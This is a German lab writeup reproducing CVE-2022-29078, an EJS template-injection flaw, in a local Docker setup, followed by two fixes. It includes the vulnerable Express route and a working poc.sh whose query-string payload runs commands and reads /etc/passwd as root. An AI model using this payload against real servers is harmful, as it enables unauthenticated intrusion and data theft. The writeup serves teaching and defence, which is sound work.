
Docker-basierter PoC für CVE-2022-29078: EJS-SSTI, der zu nicht authentifizierter Remote-Codeausführung durch outputFunctionName-Injection führt. Enthält Reproduktionsschritte und zwei Abhilfestrategien.
Whitehat Schule 4. Jahrgang (Klasse 32) - Woo Sang-beom (@taka3636)
Die Server-seitige Template-Injection (SSTI)-Schwachstelle CVE-2022-29078 in EJS < 3.1.7 ermöglicht Remote Code Execution (RCE) ohne Authentifizierung. Dieses Dokument konfiguriert eine verwundbare Umgebung mit Docker, reproduziert RCE mit einem PoC und überprüft zwei Gegenmaßnahmen (Bibliotheks-Upgrade, sichere Eingabeübergabe).
EJS (Embedded JavaScript Templates) ist eine weit verbreitete Template-Engine im Node.js-Ökosystem. Mit <% %>-Tags wird JavaScript in HTML eingefügt, um dynamische Ansichten zu erstellen, z.B. <h1>Hello <%= id %></h1>. Intern kompiliert EJS den Template-String in eine JavaScript-Funktion und führt diese aus, um das endgültige HTML zu generieren. Es handelt sich also um einen Code-Generator, der "Text (Template) in ausführbaren Code (Funktion) umwandelt" – diese Eigenschaft bildet die Grundlage für die Schwachstelle.
EJS < 3.1.7 fügt den Wert der Render-Option outputFunctionName ohne Überprüfung in den kompilierten Funktionsquellcode ein. Wenn die Anwendung Benutzereingaben direkt als Render-Optionen übergibt, kann ein Angreifer diese Option manipulieren und beliebigen Code auf dem Server ausführen (RCE). Da der Server ohne Authentifizierung vollständig übernommen werden kann, ist der Schweregrad sehr hoch.
< 3.1.7EJS/CVE-2022-29078/
├── docker-compose.yml # 127.0.0.1 Bindung (isoliert)
├── Dockerfile # node:18.20.4 (Version fixiert)
├── app/
│ ├── server.js # Verwundbare Express-App
│ ├── package.json # ejs 3.1.6 genau fixiert
│ └── views/page.ejs
├── poc.sh # PoC-Ausführungsskript
└── 1.png ~ 8.png # Screenshots
18.20.4 fixiert3.1.6 (ohne Semver-Bereich genau fixiert – bei Verwendung von ^/~ würde eine gepatchte Version installiert, was die Reproduktion verhindert)4.18.2docker compose up -d --build ist die Umgebung fertig.

Ein Angriff ist möglich, wenn beide folgenden Bedingungen gleichzeitig erfüllt sind:
< 3.1.7 fügt outputFunctionName ungeprüft als Code ein.// app/server.js — Angriffspunkt
app.get('/page', (req, res) => {
res.render('page', req.query); // req.query vollständig als Render-Optionen übergeben
});
Express übergibt bei res.render('page', req.query) die Benutzereingaben (req.query) vollständig als Render-Optionen an EJS. Der qs-Parser wandelt Klammernotationen wie settings[view options][outputFunctionName] in verschachtelte Objekte um, die dann in die EJS-Kompilierungsoption outputFunctionName eingefügt werden. Der Benutzer pflanzt also Code (Funktion) an die Stelle der Option, der dann an EJS weitergegeben wird. EJS fügt diesen Wert vor die kompilierte Funktion ein:
var <Wert von outputFunctionName> = __append;
Bei einem normalen Wert wäre das harmlos, z.B. var myOut = __append;. Enthält der Wert jedoch ein Semikolon, um die Anweisung zu beenden, und dann Code, wird dieser Code bei der Ausführung der kompilierten Funktion ausgeführt. An dieser Stelle kann execSync(...) eingefügt werden, um bestimmte Dateien zu lesen oder Systembefehle auszuführen.
Voraussetzung: Docker + Docker Compose installiert, Internetverbindung beim Bauen.
# 1) Klonen und ins Verzeichnis wechseln
git clone https://github.com/taka3636/CVE-2022-29078.git
cd CVE-2022-29078
# 2) Bauen und Starten
docker compose up -d --build
docker compose ps
# 3) Normalen Betrieb prüfen
curl "http://127.0.0.1:3000/page?id=world" # -> <h1>Hello world</h1>
# 4) PoC ausführen
bash poc.sh
# 5) Aufräumen
docker compose down

poc.sh – Injectiert die outputFunctionName-Option, um drei Befehle auf dem Server auszuführen und die Ergebnisse abzurufen: [1] id (Ausführungskontext), [2] /etc/passwd (beliebige Datei lesen), [3] uname (Ausführungsort).
#!/usr/bin/env bash
# CVE-2022-29078 : EJS SSTI (outputFunctionName-Option Injection) -> RCE
set -e
TARGET="http://127.0.0.1:3000"
run() { # $1 = URL-kodierter Shell-Befehl (im Container ausführen und Ergebnis abrufen)
curl -g -s -o /dev/null \
"${TARGET}/page?id=x&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('$1');s"
docker compose exec -T vuln-ejs cat /tmp/out
}
echo "[1] Ausführungsberechtigung prüfen (id) — root?"
run "id%20%3E%20/tmp/out"
echo "[2] Beliebige Datei lesen — /etc/passwd"
run "cat%20/etc/passwd%20%3E%20/tmp/out"
echo "[3] Systeminformationen preisgeben — uname"
run "uname%20-a%20%3E%20/tmp/out"
curl -g : Erforderlich um eckige Klammern in der URL nicht als Glob zu interpretieren (sonst curl: (3) bad range)%20, Umleitung > %3EErgebnisse nach Ausführung von poc.sh. Normale Anfragen (id=world) geben nur Hello world zurück, aber durch die outputFunctionName-Injection werden die injizierten Befehle auf dem Server ausgeführt und ihre Ausgaben abgerufen.

id → uid=0(root) gid=0(root) : Die injizierten Befehle werden mit root-Rechten ausgeführt./etc/passwd → Der Inhalt der Systemkontendatei wird direkt zurückgegeben: Beliebige Dateien auf dem Server können gelesen werden (Vertraulichkeitsverletzung).uname → Der Hostname ist 326f6f1b04b3 (Container-ID) und unterscheidet sich vom VM-Hostnamen (ubuntu-QEMU-Virtual-Machine): Dies beweist, dass die Befehle innerhalb des Containers und nicht auf dem Host ausgeführt wurden. Die Root-Rechte stammen also nicht von sudo, sondern vom verwundbaren Serverprozess (Container node = standardmäßig root).Eine einzelne unauthentifizierte Remote-Anfrage ermöglicht die Ausführung von Befehlen mit Root-Rechten und das Lesen beliebiger Dateien = CVE-2022-29078.
Maßnahme 1 – Bibliotheks-Upgrade (grundlegende Behebung)
Aktualisieren Sie ejs in package.json auf Version 3.1.7 oder höher. Ab 3.1.7 wird outputFunctionName mit dem regulären Ausdruck /^[a-zA-Z_$][0-9a-zA-Z_$]*$/ validiert. Dadurch werden Nicht-Identifier-Zeichen wie Semikolons zurückgewiesen, sodass derselbe Angriff bereits vor der Codeausführung blockiert wird.
Error: outputFunctionName is not a valid JS identifier.


Maßnahme 2 – Sichere Eingabeübergabe (Anwendungsverteidigung)
Selbst bei der verwundbaren Version (3.1.6) wird die Optionen-Manipulation unmöglich, wenn Benutzereingaben nicht vollständig übergeben werden, sondern nur die benötigten Werte. Dadurch entfällt der Pfad settings[view options] zur Zusammenführung der Optionen. Die normale Funktionalität bleibt erhalten.
// Vorher (verwundbar)
res.render('page', req.query);
// Nachher (sicher)
res.render('page', { id: req.query.id });


Empfehlung: Wenden Sie beide Maßnahmen an – Aktualisierung der Bibliothek (grundlegende Behebung) und minimale Übergabe von Benutzereingaben (tiefe Verteidigung). Zusätzlich kann der Container mit einem Nicht-Root-Benutzer ausgeführt werden, um den Schaden im Falle einer RCE zu begrenzen.